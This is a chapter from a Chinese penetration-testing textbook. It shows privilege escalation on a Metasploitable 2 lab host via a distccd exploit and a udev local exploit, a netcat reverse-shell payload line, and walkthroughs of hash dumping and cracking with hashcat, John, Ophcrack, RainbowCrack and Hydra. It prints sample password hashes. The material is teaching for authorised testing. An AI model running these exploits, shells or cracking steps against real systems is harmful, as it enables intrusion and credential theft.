第10章 提升权限

上一章介绍了利用已识别的漏洞进行漏洞映射的有关流程。利用漏洞的最终目的是获取被测系统的最高权限,即Windows操作系统中管理员账户的权限,或UNIX操作系统中root账户的权限。

所以在利用漏洞之后就应当提升权限。提升权限的实质是通过利用漏洞的手段提高自身的操作权限。

提升权限的方式分为两类。

● 纵向提权(vertical privilege escalation):如果低权限角色(的用户)能够获得高权限角色的权限,则这种提权就可称为纵向提权。例如,如果在提权之后,内容管理系统(CMS)的某个用户能够使用管理员的功能,那么这种提权就是纵向提权。

● 横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。例如,如果在网上银行里,用户 A 获取了用户 B 的权限,他可以替用户B进行操作,那么这种提权就属于横向提权。

越权提升权限的攻击矢量,大体可分为以下几种。

● 利用本地漏洞。

● 利用目标系统上的配置缺陷。例如,如果 home 目录可被其他用户访问,那么攻击人员可就可以使用目录里的SSH私有密钥访问其他主机。

● 利用目标系统的弱密码。

● 嗅探网络流量以捕获他人的用户名和密码。

● 伪造网络数据包。

本章不会讨论利用配置缺陷的渗透方法。

10.1 利用本地漏洞

这一小节,我们将使用本地漏洞的利用程序(local exploit)提升权限。

我们的演示环境如下。

● IP 为192.168.56.102,运行Metasploitable 2 的虚拟机充当被测主机。

● IP 为192.168.56.101,运行Kali Linux 的虚拟机充当测试平台。

首先,我们要扫描被测主机上的网络服务。本文通过下述指令进行端口扫描。

nmap –p- 192.168.56.102

我们通过-p-选项,令Nmap扫描被测主机的所有端口(1~65535)。

在扫描结束之后,Nmap会列出所有开放的端口(见图10.1)。

figure_0270_0107

图10.1

我们通过网上资料确定distccd服务存在漏洞,可被用来执行任意指令。这个服务是一种分布式的编译工具,可协调多台主机协助完成大规模的编译任务。

然后,我们要确定Metasploit中是否有相应的exploit程序(见图10.2)。

上述信息表明,Metasploit确有攻击distccd服务漏洞的exploit程序。

接下来,我们通过下述指令利用这个漏洞(见图10.3)。

figure_0271_0108

图10.2

figure_0271_0109

图10.3

我们通过这个exploit利用了该服务的漏洞。而后,我们通过操作系统的指令看到已经获取到的权限是daemon的权限。

在进一步操作之前,我们应到获取被测主机的详细信息。现在,我们通过下述指令查看被测主机的内核版本。

uname –r

通过上述指令,我们了解到目标主机的内核是2.6.24-16-server。

我们搜索 exploit-db 的资料库,发现某个 exploit 程序(http://www.exploitdb.com/exploits/8572/)可将我们的权限提升为root权限。下一步,我们在测试主机上保存exploit程序,然后使被测主机从测试主机下载这个程序。有关指令如图10.4所示。

在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit。

gcc privs.c -o privs

现在,我们制备好了exploit程序。在分析了exploit的源代码之后,我们发现这个exploit程序需要在命令行里使用 udevd netlink socket 的 PID(Process Identifier)作为参数。为此,我们使用下述指令获取这个PID值。

figure_0272_0110

图10.4

cat /proc/net/netlink

所获信息如图10.5所示。

figure_0272_0111

图10.5

您也可以通过单条指令获取udev服务的PID。

ps aux | grep udev

上述指令的输出结果如下。

root 2391 0.0 0.1 2216 660 ? S <S 21:06 0:01 / sbin /udevd -daemon

即,udev服务的PID是2390。

在实际的渗透测试工作之中,您可能要安装一台内核与被测主机完全相同的测试主机,以测试exploit程序。

从被测主机上收集的信息判断,目标主机上安装有NetCat程序。成功运行exploit程序之后,我们就有了被测主机的 root 权限。我们再在被测主机上运行 netcat 程序,让它反向连接到测试主机。通过其源代码可知,这个 exploit 把文件名为 run 的可执行文件当作其payload。所以,我们需要制备这个payload。

echo '#!/bin/bash' > run

echo '/bin/netcat -e /bin/bash 192.168.56.101 31337' >> run

在执行payload之前,我们还要在测试主机上启动netcat的监听服务,以受理被测主机发起的连接。

nc -vv -l -p 31337

最后,我们在被测主机上运行下述指令。

./privs 2390

此后,我们可在测试主机上看到图10.6所示的信息。

figure_0273_0112

图10.6

通过whoami指令,我们可看到已经成功提升自身权限为root的权限。

10.2 密码攻击

密码是当代系统验证用户身份的主要手段。只要某人能够递交正确的用户名和对应的密码,系统就允许这个人登录并允许他使用该账号的所有资源。

构成身份验证的要素可分为三大类。

● 基于所知(something you know)。这类认证要素通常被称为身份验证的第一要素。密码就属于这类要素。理论上来说,只有特定秘密的持有人才能“知道”有关秘密。然而不幸的是,这类信息很容易外泄,也易于被他人获悉。因此,机要系统应当采取其他方式的身份验证方式。

● 基于所有(somethingyou have)。这类认证要素通常被称为身份验证的第二要素。安全令牌、门禁卡等都属于这类认证要素。向系统出示相应的安全持有物后,持有者即可获得登录权。不过,持有物(信息)可被复制,所以这种身份验证方法并非没有缺陷。

● 基于特征(something you are)。这类认证要素通常被称为身份验证的第三要素。相比前两者而言,这类信息的身份验证方法更为安全。然而,已经出现了攻击这种验证方法的实际案例。指纹识别和视网膜识别都属于验证这类要素的手段。

如果有较高的安全需求,就应当验证一个以上的验证要素。高规格的安全系统往往验证第一要素和第二要素。因为这种方法验证了两种身份验证要素,因此被称为双要素验证。

然而不幸的是,我们的经验表明,目前多数系统广泛依赖单一的密码验证。作为渗透测试人员,您应当在测试过程中验证密码的安全性。

根据攻击方式的不同,密码攻击可分为以下几类。

● 离线攻击:这种攻击手段意在获取目标主机上的密码 hash 文件,并将该文件复制到攻击人员的主机。此后,攻击人员就可使用密码破解工具破解密码文件。这种方法的优点是无须顾及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的。

● 在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用户密码,所以这种方式因为可能会触发账户锁定等保护机制。

10.2.1 离线攻击工具

这类工具用于实施离线密码攻击。通常情况下,您会用这种工具破解高权限账户的密码,所以这些工具往往用于纵向提权。

既然已经有了某种权限的账户信息,为什么还需要其他账户的登录信息呢?在对某个系统进行渗透测试时,受被测主机配置的影响,所用账户可能无法运行某些特定的应用程序。这种情况下,您就无法进行下一步测试。但是,如果使用常规用户身份登录,您就可以正常运行那些程序了。这是需要获取其他账户信息的原因之一。

现在的主流系统在存储密码的时候都只保存密码的hash(哈希值)。通过哈希算法,密码可被转换为固定长度的消息摘要。这种转换是不可逆的单向转换。所谓单向转换是指:这种算法可将既定原始值轻松地转换为某个哈希,而没有实用的方法可以从哈希值逆向推导出原始的输入值。

过去,计算机系统保存密码明文。如果攻击人员获取到密码文件,那么他就获取了全部的密码。现在,即使攻击人员获取了密码文件,他们也只能获取密码的哈希值,还是无法轻易获取原始密码。

密码破解是以穷举的方式做哈希碰撞。如果所测密码的哈希值与文件中的哈希值相符,就意味着猜测到了正确的密码。

在利用SQL注入漏洞之后,测试人员就可导出整个数据库,继而可找到密码的哈希值。离线破解工具可以帮助测试人员从哈希值中获取记录的原始信息。

在一次渗透测试项目里,我们导出了整个数据库。这个数据里存有整个E-mail系统的用户名和密码。借助这些信息,我们以某个关键人物的身份登录到了E-mail系统,并获取了各种机要系统的账户信息。

1.hash-identifier

这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工具破解哈希值。有关hash-identifier程序能够支持的加密算法,请参见作者的官方网站:http://code.google.com/p/hash-identifier/。

假如我们获取了下述哈希值。

d111b38c0e73bc867c4bad4023606a0e0df64c2f

我们可直接使用hash-identifier指令,并在HASH值字段输入哈希值。具体过程如图10.7所示。

figure_0275_0113

图10.7

上述信息表明这个值是SHA-1型的哈希值。接下来,我们可以使用Hashcat程序破解这个哈希值中的信息。

不过这个程序的可靠性有待提高。我们可能会遇到下述情况。

HASH: 8846f7eaee8fb117ad06bdd830b7586c

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).

(strtolower($username)))

即,hash-identifier 认为这个值属于 MD5 或 MD4 型的哈希。不过这个哈希是经NTLM算法得来的。

2.Hashcat

Hashcat是一款免费的多线程密码破解工具。目前,它可破解80种算法(http://hashcat. net/hashcat/#features-algos)的哈希值。Hashcat 程序完全依赖 CPU 运算,它要比利用GPU(Graphical Processing Unit)运算的密码破解程序要慢一些。

Hastcat支持6种攻击模式。

● Straight:程序会从文本文件里逐行读取数据,并把这些数据当作密码的备选值。这是默认的攻击模式,通常也被称作字典式攻击模式。

● Combination(组合模式):Hashcat 将会把字典中的单词进行排列组合,再做哈希碰撞。例如,如果字典中含有以下单词

○ password

○ 01

那么Hashcat将会尝试的密码将是:

○ passwordpassword

○ password01

○ 01password

○ 0101

● Toggle Case(穷举大小写组合):程序将会尝试每个字典单词的各种大小写组合。

● Brute force(暴力破解):程序将会从关键字空间中取样再做排列组合。这种攻击模式正在被 mask attack 所取代。例如,如果我们设定程序测试 A-Z 组成的双字符密码,那么Hashcat将会尝试AA到ZZ的所有英文字符组合。

● Permutation(排列组合):对于字典里每个备选密码,程序将会按照字符进行各种排列组合。例如,如果字典里有AB这个备选密码,那么Hashcat将会测试的密码如下:

○ AB

○ BA

● Table-lookup(表查询):程序将把字典里每个备选密码的每个字符都当作对应的mask进行处理。这是一种自动匹配模式的穷举攻击,详细情况请参见http://hashcat. net/wiki/doku.php?id=table_lookup_attack。

Hashcat需要相应的字典文件。您可从下述链接中下载适用的字典。

http://www.skullsecurity.org/wiki/index.php/Passwords。

http://cyberwarzone.com/cyberwarfare/password-cracking-megacollection-password-cracking- word-lists。

http://hashcrack.blogspot.de/p/wordlist-downloads_29.html

http://packetstormsecurity.com/Crackers/wordlists/

http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html

http://www.md5decrypter.co.uk/downloads.aspx

现在开始演示Hashcat的适用方法。

如果在执行Hashcat的时候指定--help选项,您将看到Hashcat的帮助信息。我们可通过这些帮助信息查看各个选项的使用方法。

假设我们获取了文件名为test.hash的密码文件,并从中找到了下述哈希值。

5f4dcc3b5aa765d61d8327deb882cf99

我们可使用rockyou.txt文件作为Hashcat的密码字典。简便起见,我们可把密码文件和字典文件放在同一个目录下。用pwd指令查看当前目录的目录名。

然后我们通过下述指令,令Hashcat以默认的攻击方式测试密码。

hashcat -m 100 test.hash rockyou.txt

其中,选项-m 100 指定了hash 的类型为SHA-1。

我们可看到图10.8所示的信息。

figure_0277_0114

图10.8

上述信息表明,程序成功的破解了该哈希值。即,密码原文是password01。

默认攻击模式的破解速度比较快。如果密码字典没有命中正确的密码,您就需要尝试其他的攻击模式。

Hashcat系列有很多密码破解工具。其中部分程序可以使用GPU破解密码;所以只要您的电脑装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VM虚拟机里使用基于GPU破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。此外,显卡的兼容性也很重要。要使用基于GPU运算的破解程序,您的显卡需要支持CUDA(NVidia)或OpenCL(AMD)技术。在Hashcat系列里,支持基于GPU运算的破解程序有下面几下。

● oclhashcat-lite:它是一款基于GPU 运算的密码破解程序。在Hashcat 系列工具里,它算得上是速度最快的破解工具。不过它支持的哈希算法有限(约30种),而且只支持markov、brute force 和mask 模式的密码攻击。

● oclhashcat-plus:它是一款基于 GPU 运算的密码破解程序,支持多数哈希算法。这个程序针对字典式攻击进行了各种优化,可同时破解多个哈希值。oclhashcat-plus 工具支持的攻击模式有brute foce(以mask attack 模式实现)、combinator attack、dictionary attack、hybrid attack、mask attack和基于规则的攻击。

如需详细了解密码字典的有关情况,请参见:

● Hybrid attack(https://hashcat.net/wiki/doku. php?id=hybrid_attack)

● Mask attack(http://hashcat.net/wiki/doku. php?id=mask_attack)

● Rule-basedattack(http://hashcat.net/wiki/doku. php?id=rule_based_attack)

3.RainbowCrack

彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由Philippe Oechslin提倡的“以空间换时间”的技术思想。

如需详细了解这种技术,请参见Philippe Oechslin 的论文Making aFaster Cryptanalytic Time-Memory Trade-Off: http://lasec.epfl. ch/pub/lasec/doc/Oech03.pdf

这种破解密码的方式有别于暴力破解。暴力破解攻击首先计算密码的备选值(字典里的密码)的哈希值,然后再将计算出来的哈希值与获取到的哈希值进行对比。如果这两个值相等,则可确定哈希值的原始内容即是密码;否则就说明密码不正确。

彩虹表破解法的效率也高于暴力破解法。这是因为暴力破解法必须计算字典内容的哈希值,然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希值,破解过程只是简单的数值比较,所以效率更高。

请注意:RainbowCrack程序速度不快,而且不支持多线程。人们已经修改了这个程序,使之支持多线程技术和部分显卡采用的 CUDA 技术。读者可从下列地址下载这个改进版的rcrack的程序: https://www. freerainbowtables.com/en/download/。

Kali Linux收录了RainbowCrack的三大工具。在破解哈希时,您必须依次使用这些工具。

● rtgen:生成彩虹表的程序。生成彩虹表的计算过程也被称为彩虹表的预计算阶段。彩虹表包含字典、哈希值、哈希算法、字符集以及字典的长度范围。彩虹表的预计算相当费时。但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少。rtgen 程序支持的算法有 LanMan、NTLM、MD2、MD4、MD5、SHA1 以及RIPEMD160。

● rtsort:对rtgen 生成的彩虹表进行排序的工具。

● rcrack:利用彩虹表査找哈希值的工具。

如需启动生成彩虹表的rtgen工具,可在终端窗口中执行下述指令。

rtgen

上述指令将会显示简单的使用说明,以及两个指令范例。

本例将使用这个程序制作两个彩虹表,并使其符合下述要求。

● hash algorithm(算法):md5

● charset(字符集):loweralpha

● plaintext_len_min:1

● plaintext_lan_max:5

● rainbow_table_index:0

● rainbow_ chain_length:2000

● rainbow_chain_count:8000

● part_index:0

依照以上要求,制作第一个彩虹表所需的指令如下所示。

rtgen md5 loweralpha 1 5 0 2000 8000 testing

此后,屏幕上会显示图10.9所示的信息。

figure_0280_0115

图10.9

第一个彩虹表的文件名为 md5_loweralpha#1-5_0_2000x8000_0.rt,并被保存在目录/usr/share/rainbowcrack/之下。

制作第二个彩虹表所需的指令如下所示。

rtgen md5 loweralpha 1 5 1 2000 8000 0

在作者的系统中,生成上述两个彩虹表总耗时为 3 分钟左右。第二个彩虹表被保存为md5_loweralpha#1-5_1_2000x8000_0.rt文件。

请注意,彩虹表的制作过程十分耗时,而且彩虹表文件非常大。如果需要估算彩虹表的耗时情况,可使用Winrtgen(http://www.oxid.it/ downloads/winrtgen.zip)程序。

Winrtgen 是Windows的应用程序。若要在Kali Linux中运行它,就需要使用Wine环境。

如果不想自己制作彩虹表,您可以从网上下载一些现成的彩虹表。例如,下述网站就提供了彩虹表下载服务:

http://www.freerainbowtables.com/en/tables/;

http://rainbowtables.shmoo.com/。

Winrtgen程序的图形界面如图10.10所示。

figure_0281_0116

图10.10

rtsort

制作彩虹表之后,应当对其进行排序。此时可选用rtsort程序。

若要在指令行中启动rtsort程序,可在终端中执行下述指令。

rtsort

上述指令将会显示简单的使用说明以及指令范例。在本例中,我们将通过下述指令对第一个彩虹表进行排序。

rtsort md5_loweralpha#1-5_0_2000x8000_0.rt

md5_loweralpha#1-5_0_2000x8000_0.rt:

1176928256 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...

然后,采取相同的操作对第二个彩虹表进行排序。

rtsort md5_loweralpha#1-5_1_2000x8000_0.rt

md5_loweralpha#1-5_1_2000x8000_0.rt:

1177255936 bytes memory available

loading rainbow table...

sorting rainbow table by end point...

writing sorted rainbow table...

rtsort工具会用排序的结果覆盖原文件。

在rtsort程序的运行期间,请耐心等待程序结束。切勿中断程序,否则将会破坏彩虹表文件。

接下来,我们将使用5个字符字典的彩虹表碰撞(破解)密码的MD5哈希值。请注意,因为我们使用了两个彩虹表,所以成功率大约为86%。

rcrack

要在指令行中启动rcrack程序,可在终端中执行下述指令。

rcrack

上述指令将会在屏幕上显示简单的使用说明以及指令范例。

本次将破解abcde 的MD5 散列值ab56b4d 92b40713acc5af89985d4b786。

rcrack /usr/share/rainbowcrack/*.rt -h

ab56b4d92b40713acc5af89985d4b786

上述指令的运行结果如图10.11所示。

figure_0282_0117

图10.11

上述结果表明,rcrack程序成功地破解(碰撞)了给定哈希值的明文。整个破解过程的耗时大约为2秒。

rcrack的改进版本叫做rcracki_mt(https://www.freerain bowtables. com/en/download/)。改进版支持混合(hybrid)和索引(indexed)表,并且采用了多线程技术。

4.samdump2

Windows 2K/NT/XP/Vista 系统的账户密码,以哈希值的形式储存于 SAM 的文件型数据库里。samdunip2(http://sourceforge.net/projects/ophcrack/files/samdump2/)可破解这种哈希。无需SysKey(System Key),samdump2 程序就可破解密码的哈希值。SysKey是由Windows NT Service Pack 3引入的概念,它是保护 Windows SAM数据库的加密密钥。

如需启动samdump2,可在命令行中输入如下命令。

samdump2

上述指令将会显示简单的使用说明。

获取Windows密码哈希值的方法有很多。

● 第一种方法:直接使用samdump2 程序分析Windows 系统和SAM文件。有关信息都保存在 c:\%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。所以,可通过Linux Live CD(例如Kali Linux)启动计算机系统,然后挂在 Windows 系统的磁盘分区。在此之后,您就可以把Windows的SAM文件复制到Kali主机上。

● 第二种方法:使用pwdump程序或同类型的相关工具把Windows账户的密码哈希值导出来。

● 第三种方法:参见上一章 Meterpreter 脚本的使用方法,再执行hashdump命令把密码的哈希值导出来。使用这种方法的前提是您首先要成功利用好主机的漏洞,并能够上传Meterpreter的脚本。

下一步,我们将演示Windows XP SP3 密码的破解方法。假设您已经取得system 和sam文件,将它们以同文件名保存在home目录下,那么破解哈希值的命令如下所示。

samdump2 system sam -o test-sam

通过上述指令,我们把samdump2的输出结果保存为文件test-sam。这个文件的内容如下所示。

Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede89c d2b7c78f6fb:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d884809e 12b10982360b:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e33 a9ddd414755019a:::

tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

接下来就可以用密码破解工具破解test-sam文件的哈希值。您可以选用下文介绍的John和Ophcrack。

5.John

John the Ripper/John(http://www.openwall.com/john/)是一款破解密码哈希的工具。目前,这款工具可以破解40 多种类型的密码哈希。它可破解常见的 DES、MD5、LM、NT、crypt、NETLM和NETNTLM型哈希。虽然破解哈希的软件有很多,但是DES和crypt型哈希的破解功能使John成为一枝独秀。

如需启动John程序,可在终端中使用下述指令。

john

上述指令将会在屏幕上显示简单的使用说明。

John的密码破解模式分为以下4种。

● 字典模式(Wordlist mode):在这种模式下,用户只需要提供字典文件(wordlist)就可以破解密码文件。字典文件是包含密码备选值的文本文件,文件中的每行内容都将被当作一个用来进行碰撞测试的候选密码。这种模式具备“字词变化”(就是某种规则)的功能,(这种规则)可自动套用在每行的备选密码中,以提高破解的概率。--wordlist=选项用于指定字典文件。这种字典可以是您自己制作的字典,也可以是他人制作的字典。许多网站都提供字典下载。例如, Openwall Project(John 的官方网站)就提供字典下载服务,详情请参见http://download. openwall.net/pub/wordlists/。

● 简易破解模式(Single crack mode):这是John程序作者推荐的应当首先尝试的破解模式。在这种模式下,John会使用登录名、全名和用户的home文件夹名作为测试的候选密码,并使用候选密码来碰撞(破解)相应账户的密码,或者破解使用相同salt加密的密码哈希。就结果而言,这种模式比字典模式要快得多。

● 增强型破解模式(Incremental mode):这种模式是John 各种模式里功能最强大的破解模式,它会尝试所有可能的密码组合。不过,如果用户不设置密码的测试区间,程序将会非常耗时。测试区间由密码长度的上限和字符集的设置构成。要这种破解模式破解密码,必须指定相应的破解模块。程序预设的模块有All、Alnum(字母和数字)、Alpha(字母)、Digits(数字)和 Lanman;您也可以根据实际需要自定义一个测试模块。

● 外部模式(External mode):在这种模式下,用户可以指定John程序使用外部(源)程序破解密码。如需使用这种模式,您首先应在配置文件里创建一个[List.External:MODE]的节点(section)。其中,MODE就是这种模式的一个(任意)名字,而这个节点的内容应当是C语言编写的生成候选密码的各种函数。以这种模式启动程序之后,John会编译这个节点内的源代码,并使用它进行密码破解。如需了解更多信息,可访问John的官方网站:http://www.openwall.com/john/doc/EXTERNAL.shtml。

如果没有明确指定John的破解模式,它将会按默认顺序进行破解:首先采用简易破解模式,然后尝试字典式破解,最后进行增强式破解。

在使用John程序之前,您首先需要拿到包含密码信息的哈希文件。UNIX一类的操作系统,密码哈希多数都保存在shadow文件和passwd文件里。另外,只有root级别的用户才能要读取shadow文件。

在获取密码信息文件之后,您需要对这些文件做一些处理;否则John无法破解其中的哈希。好在John提供的unshadow程序可进行这种处理。

我从Metasploitable2的虚拟机中提取出/etc/shadow和/etc/passwd,然后把它们放在同一个目录里,并分别重命名为etc-shadow和etc-passwd。然后,我使用下述指令将shadow和passwd文件进行合并处理。

unshadow etc-passwd etc-shadow > pass

以下是pass文件的部分内容。

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash

sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh

klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:justa user,111,,:/home/user:/bin/bash

service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash

第二个字段为空的行,没有密码信息。可删除这些行以加快密码破解的速度。

可使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的那个文件。

john pass

如果John程序能够破解这些密码,它就会把破解的密码储存为john.pot。

如需查看破解出来的密码,可使用下述指令。

john --show pass

在本例中,John快速地破解出了多个密码,并返回图10.12所示的信息。

figure_0286_0118

图10.12

由下表可见,John成功破解出了多个密码。

figure_0287_0119

上述密码文件(pass文件)包含有7个账户密码的信息,John成功地破解出了其中的6组密码。它没能快速破解出root的密码。

如需清空John程序的缓存,就要删除文件/root/.john/john.pot。

要破解Windows密码,就要使用pwdump(工具集)把SYSTEM和SAM文件中的密码哈希值(LM和/或NTLM算法)提取出来。如需了解这个工具集的各款工具,请参见http://www. openwall.com/passwords/pwdump。Kali Linux收录了其中的samdump2程序。

接下来,我们使用字典文件 password.lst 破解 samdump2 导出的哈希信息。此时需要使用的指令如下所示。

john test-sam --wordlist=password.lst --format=nt

上述指令的运行信息如图10.13所示。

figure_0287_0120

图10.13

上述信息表明,test-sam文件中的管理员密码如下所示。

password01

然后我们通过下述指令查看破解的结果(见图10.14)。

john test-sam --format=nt --show

figure_0287_0121

图10.14

上述信息表明:John 成功破解出了 Windows 主机的管理员密码,但是它未能破解出常规用户tedi的密码。

6.Johnny

如果您对John程序复杂的命令行指令望而却步,那么您可能会喜欢它的图形化版本——Johnny(http://openwall.info/wiki/john/johnny)。Johnny 程序的图形化界面非常友好,您不必在命令行里逐一指定John程序的各个选项。

如需启动Johnny程序,可在终端中使用下述指令。

johnny

上述指令将启动Johnny的图形化界面。

我们使用这个程序分析前一个例子中 Metasploitable 2 系统的哈希。其分析结果如图10.15所示。

figure_0288_0122

图10.15

上述信息表明,Johnny破解哈希的能力和John程序相同。

7.Ophcrack

Ophcrack是一款基于彩虹表的破解工具。它可破解LM和NTLM型的Windows的密码哈希。这款程序有命令行版本,也有图形化界面的版本。因为它属于彩虹表破解工具,所以Ophcrack采用的破解策略同样是以空间换时间的策略。

Windows NT 和早期的 Windows 系统(包括 2000/XP)采用 LAN Manager(LM)保存用户密码的哈希。如需深入了解LM哈希,请参阅http://technet.microsoft.com/en-us/library/dd277300.aspx。

后来,微软推出了NT LAN Manager(NTLM)哈希,以替代LM哈希。NTLM 算法可对账号进行认证,并实现了会话的完整性和保密性。Windows NT SP4开始,Windows系统开始逐步采纳更为安全的NTLM v2的算法。这种新算法增强了服务器和用户之间的认证功能。微软已经不再推荐用户使用NTLM哈希,具体原因请参见http://msdn.microsoft. com/en-us/library/cc236715.aspx。

有关NTLM 和NTLM v2的区别,请参见http://msdn.microsoft.com/en-us/library/cc236701.aspx。

如需在命令行中启动Ophcrack程序,可在终端中使用下述指令。

ophcrack-cli

上述指令将会在屏幕上显示简单的使用说明及相关范例。

如需启动Ophcrack GUI,可在终端中使用下述指令。

ophcrack

上述指令将会启动Ophcrack GUI(图形化界面)。

Ophcrack 需要彩虹表才能进行破解哈希。所以,我们先要先从其官方网站(http://ophcrack.sourceforge.net/tables.php)下载彩虹表。目前,官方免费提供Windows XP 和Vista 彩虹表。对于字符集为数字和英文大小写字母的密码、且长度在10~14个字符以内的常规密码,它的破解成功率高达99%以上。

以xp_free_small为例。下载它之后,我们将其解压缩并把解压后的文件放进xp_free_small 目录。然后Windows XP 的散列文件以pwdump 格式保存为文件test-sam。

接下来,我们使用下述命令破解先前获取的哈希。

ophcrack -d fast -t fast -f test-sam

在运行期间,Ophcrack的提示信息如下。

Four hashes have been found in test-sam:

Opened 4 table(s) from fast.

0h 0m 0s; Found empty password for user tedi (NT hash #1)

0h 0m 1s; Found password D01 for 2nd LM hash #0

0h 0m 13s; Found password PASSWOR for 1st LM hash #0in table XP free fast #1 at column 4489.

0h 0m 13s; Found password password01 for user Administrator (NT hash #0)

0h 0m 13s; search (100%); tables: total 4, done 0, using 4; pwd found 2/2.

程序的运行结果如下。

Results:

username / hash LM password  NT password

Administrator  PASSWORD01  password01

tedi     empty    empty

可见,Ophcrack 破解了相应用户的所有密码。

8.Crunch

Crunch(http://sourceforge.net/projects/crunch-wordlist/)是一款基于用户标准来创建密码字典(wordlist)的工具。密码字典通常用于暴力破解。

如需启动Crunch程序,可在终端中使用下述指令。

crunch

上述指令将会在屏幕上显示简单的使用说明及相关范例。

如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为5chars.txt,我们可使用下述指令。

crunch 1 5 –o 5chars.txt

上述指令的输出内容如图10.16所示。

figure_0290_0123

图10.16

文件5chars.txt的内容如下。

a

b

c

...

zzzzx

zzzzy

zzzzz

这个文件的内容表明,上述指令创建了从a到zzzzz的各种字符串,并将其组织为密码字典。

接下来,我们要创建由小写字母和数字组成的密码长度在 4 个字符以内的密码字典,并指定字典文件的文件名为wordlist.lst。

根据以上需求,我们需要使用下述指令。

crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric

-o wordlist.lst

上述指令的输出内容如下。

Crunch will now generate the following amount of data: 8588664 bytes

8 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 1727604

100%

在我的主机上执行上述指令,耗时大约1.5分钟。密码字典wordlist.lst的内容如下。

a

b

c

...

9997

9998

9999

10.2.2 在线破解工具

前文介绍了几款离线破解密码的工具。本节将介绍在线破解密码的工具。所谓在线破解,意味着这类工具在与被测主机建立连接之后才能破解密码。

本节将要介绍的工具可分为以下几类:

● 制作密码字典;

● 搜索密码的哈希值;

● 在线密码破解工具。

本节首先会讲解两款根据被测网站信息制作密码字典的工具,然后会介绍几款在线破解密码的工具。

在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。它会不断尝试各种用户名和密码,直到发现正确的账户信息为止。

这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的效率更高。

虽然在线攻击工具速度不快,也可能触发帐户锁定机制,但是对于 SSH、Telnet 和FTP这类服务来说,在线攻击是密码破解的唯一方式。在进行在线的密码攻击时,务必加倍小心;尤其是在攻击 Active Directory(AD)服务器的账户时,暴力破解可能会锁定所有的域账户。要避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使用同一个密码对所有用户名进行测试(轮换用户名,而不是轮换密码)。

1.CeWL

CeWL(Custom Word List)(http://www.digininja.org/projects/cewl.php)是一款以爬虫模式在指定URL上收集单词的工具。把它收集到的单词纳入密码字典,可提高密码破解工具(例如John the Ripper)的命中率。

CeWL程序有很多选项,其中较为常用的如下所示。

● --depth N 或-d N:提取深度,分析 N 级链接以内的网页内容;提取深度的默认值是2。

● --min_word_length N 或-m N:单词的最小长度,少于N 个字符的单词不会被收录;单词最小长度的默认值是3。

● --verbose 或-v:详细提示模式。

● --write 或-w:设定输出文件的文件名。

如果在运行CeWL时遇到Error: zip/zip gem not installed错误,那么就要使用gem install zip/zip 指令安装相应的功能包:

gem install zip

Fetching: zip-2.0.2.gem (100%)

Successfully installed zip-2.0.2

1 gem installed

Installing ri documentation for zip-2.0.2...

Installing RDoc documentation for zip-2.0.2...

结合上述选项,我们使用下述指令从目标网站收集单词。

cewl -w target.txt http://www.target.com

稍等片刻之后,程序会把收集到的单词保存为文件target.txt。在Kali系统里,这个文件位于目录/usr/share/cewl。

我们打开上述目录里的target.txt文件,可以看到下述内容。

Device

dataset

sauerlo

Sauer

agentChange

ouput

fileWrite

oBy

strips

mThe

270

Specialforces

Damian

GoD

zERo

zine

Disney

N00bz

xThe

Cracked

Question

Marc

Doudiet

Swiss

Strafor

Electric

Alchemy

2.Hydra

Hydra是一款猜测并破解用户名和密码的工具。它支持多种网络协议,可破解HTTP、FTP、POP3和SMB等协议的密码。它会使用字典并行穷举网络服务的用户名和密码。默认情况下,它向目标主机发起16个并行连接同时进行多组测试。

如需启动Hydra程序,可在终端中使用下述指令。

hydra

上述指令将会在屏幕上显示简单的使用说明。

本例将演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名是password.lst,我们可使用下述指令。

hydra -P password.lst 192.168.56.101 vnc

上述指令的运行结果将如图10.17所示。

